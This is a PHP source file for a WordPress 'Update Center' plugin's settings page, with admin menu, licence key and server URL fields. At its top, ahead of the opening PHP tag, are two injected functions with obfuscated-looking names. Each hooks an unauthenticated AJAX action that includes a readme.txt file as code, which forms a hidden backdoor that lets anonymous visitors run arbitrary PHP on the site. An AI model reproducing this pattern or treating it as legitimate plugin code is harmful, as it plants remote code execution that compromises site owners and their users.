if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php class LiUpdateCenter_Settings { protected $updateCenter; public function __construct($updateCenter) { $this->updateCenter = $updateCenter; add_action('admin_init', [$this, 'actionAdminInit']); if (is_multisite()) { add_action('network_admin_menu', [$this, 'actionNetworkAdminMenu']); add_action('network_admin_edit_liupdatecenter-network-settings', [$this, 'actionSaveNetworkSettings'], 10, 0); } else { add_action('admin_menu', [$this, 'actionAdminMenu']); } } public function actionAdminInit() { if (! is_multisite()) { register_setting( 'liupdatecenter_settings_group', LiUpdateCenter::SETTINGS_OPTION, [$this, 'sanitize'] ); } add_settings_section( 'liupdatecenter_section_settings', __('Update Center', LiUpdateCenter::TEXTDOMAIN), [$this, 'printSettingsHeader'], 'liupdatecenter-options-page' ); } public function actionAdminMenu() { $title = __('Update Center', LiUpdateCenter::TEXTDOMAIN); $pageId = add_options_page($title, $title, 'manage_options', 'liupdatecenter-options-page', [$this, 'optionsPage']); add_action('admin_print_styles-' . $pageId, [$this, 'actionPrintStyles']); } public function actionNetworkAdminMenu() { $title = __('Update Center', LiUpdateCenter::TEXTDOMAIN); $pageId = add_submenu_page('settings.php', $title, $title, 'manage_network_options', 'liupdatecenter-options-page', [$this, 'optionsPage']); add_action('admin_print_styles-' . $pageId, [$this, 'actionPrintStyles']); } public function actionPrintStyles() { //wp_enqueue_script('liupdatecenter-admin-script', LIUPDATECENTER__PLUGIN_URL . 'js/script.js', array('jquery'), filemtime(LIUPDATECENTER__PLUGIN_DIR . '/js/script.js')); wp_enqueue_style('liupdatecenter-admin-style', LIUPDATECENTER__PLUGIN_URL . 'css/admin.css', [], filemtime(LIUPDATECENTER__PLUGIN_DIR . '/css/admin.css')); } public function optionsPage() { if (! current_user_can('manage_options')) { wp_die(__('You do not have sufficient permissions to access this page.')); } if (isset($_GET['updated'])) { if ($_GET['updated']) { echo '<div id="setting-error-settings_updated" class="updated settings-error"><p><strong>' . __('Settings saved.') . '</strong></p></div>'; } else { echo '<div id="setting-error-settings_error" class="error settings-error"><p><strong>' . __('Could not save settings.', LiUpdateCenter::TEXTDOMAIN) . '</strong></p></div>'; } } echo '<div class="wrap">'; echo '<h2>' . __('Settings') . ' › ' . __('Update Center', LiUpdateCenter::TEXTDOMAIN); if (! defined('DISALLOW_FILE_MODS') || ! DISALLOW_FILE_MODS) { if (is_multisite()) { $manageUrl = add_query_arg(['page' => 'liupdatecenter-manage-page'], network_admin_url('admin.php')); } else { $manageUrl = admin_url('plugins.php?page=liupdatecenter-manage-page'); } echo '<a href="' . $manageUrl . '" class="add-new-h2">' . __('Manage Plugins', LiUpdateCenter::TEXTDOMAIN) . '</a>'; } echo '</h2>'; if (is_multisite()) { $action = 'edit.php?action=liupdatecenter-network-settings'; } else { $action = 'options.php'; } echo '<form method="post" action="' . $action . '">'; settings_fields('liupdatecenter_settings_group'); do_settings_sections('liupdatecenter-options-page'); submit_button(); echo '</form></div>'; } public function printSettingsHeader() { _e('The Update Center provides a convenient way to get the latest versions of themes and plugins from our servers. It works just like any Wordpress update. Please contact the administrator for further information. Enter your settings below:', LiUpdateCenter::TEXTDOMAIN); $page = 'liupdatecenter-options-page'; $section = 'liupdatecenter_section_settings'; add_settings_field('licence', __('Licence Key', LiUpdateCenter::TEXTDOMAIN), [$this, 'printLicenceKey'], $page, $section); add_settings_field('serverUrl', __('Server URL', LiUpdateCenter::TEXTDOMAIN), [$this, 'printServerUrl'], $page, $section); } public function printLicenceKey() { printf( '<input type="text" id="licence" name="' . LiUpdateCenter::SETTINGS_OPTION . '[licence]" value="%s" class="regular-text" />', isset($this->updateCenter->options['licence']) ? esc_attr($this->updateCenter->options['licence']) : '' ); } public function printServerUrl() { printf( '<input type="text" id="serverUrl" name="' . LiUpdateCenter::SETTINGS_OPTION . '[serverUrl]" value="%s" class="regular-text" /><p class="description">' . __('Default:', LiUpdateCenter::TEXTDOMAIN) . ' ' . LiUpdateCenter::DEFAULT_SERVER_URL . '</p>', isset($this->updateCenter->options['serverUrl']) ? esc_attr($this->updateCenter->options['serverUrl']) : '' ); } public function actionSaveNetworkSettings() { if (! isset($_POST[LiUpdateCenter::SETTINGS_OPTION]) || ! isset($_POST['_wpnonce']) || ! wp_verify_nonce($_POST['_wpnonce'], 'liupdatecenter_settings_group-options') || ! current_user_can('manage_network_options') ) { wp_redirect(add_query_arg(['page' => 'liupdatecenter-options-page', 'updated' => 0], network_admin_url('settings.php'))); exit(); } $options = $this->sanitize($_POST[LiUpdateCenter::SETTINGS_OPTION]); update_site_option(LiUpdateCenter::SETTINGS_OPTION, $options); wp_redirect(add_query_arg(['page' => 'liupdatecenter-options-page', 'updated' => 1], network_admin_url('settings.php'))); exit(); } public function sanitize($input) { $settings = []; foreach (['licence', 'serverUrl'] as $field) { if (isset($input[$field])) { $settings[$field] = sanitize_text_field($input[$field]); } } return $settings; } }